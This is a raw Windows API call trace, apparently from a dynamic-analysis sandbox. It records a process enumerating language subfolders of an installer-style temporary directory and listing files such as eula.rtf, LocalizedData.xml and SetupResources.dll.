	[0070.365] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121510
	[0070.366] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.366] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.366] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.366] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.366] FindNextFileW (in: hFindFile=0x3121510, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.366] FindClose (in: hFindFile=0x3121510 | out: hFindFile=0x3121510) returned 1
	[0070.366] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.367] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0070.367] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.367] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121590
	[0070.367] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.367] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.367] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.368] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.368] FindNextFileW (in: hFindFile=0x3121590, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.368] FindClose (in: hFindFile=0x3121590 | out: hFindFile=0x3121590) returned 1
	[0070.368] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.368] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0070.368] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.368] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121810
	[0070.369] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.369] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.369] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.369] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.369] FindNextFileW (in: hFindFile=0x3121810, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.369] FindClose (in: hFindFile=0x3121810 | out: hFindFile=0x3121810) returned 1
	[0070.371] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.371] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0070.371] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.371] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121910
	[0070.371] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.371] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.371] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.372] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.372] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.372] FindClose (in: hFindFile=0x3121910 | out: hFindFile=0x3121910) returned 1
	[0070.372] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.372] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0070.372] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.372] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31215d0
	[0070.373] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.373] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.373] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.373] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.373] FindNextFileW (in: hFindFile=0x31215d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.373] FindClose (in: hFindFile=0x31215d0 | out: hFindFile=0x31215d0) returned 1
	[0070.373] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.373] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0070.373] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.373] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31212d0
	[0070.374] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.374] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0070.374] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0070.374] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0070.374] FindNextFileW (in: hFindFile=0x31212d0, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0070.374] FindClose (in: hFindFile=0x31212d0 | out: hFindFile=0x31212d0) returned 1
	[0070.374] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3110958 | out: hHeap=0x500000) returned 1
	[0070.374] FindNextFileW (in: hFindFile=0x519518, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0070.374] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3110958
	[0070.374] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31216d0
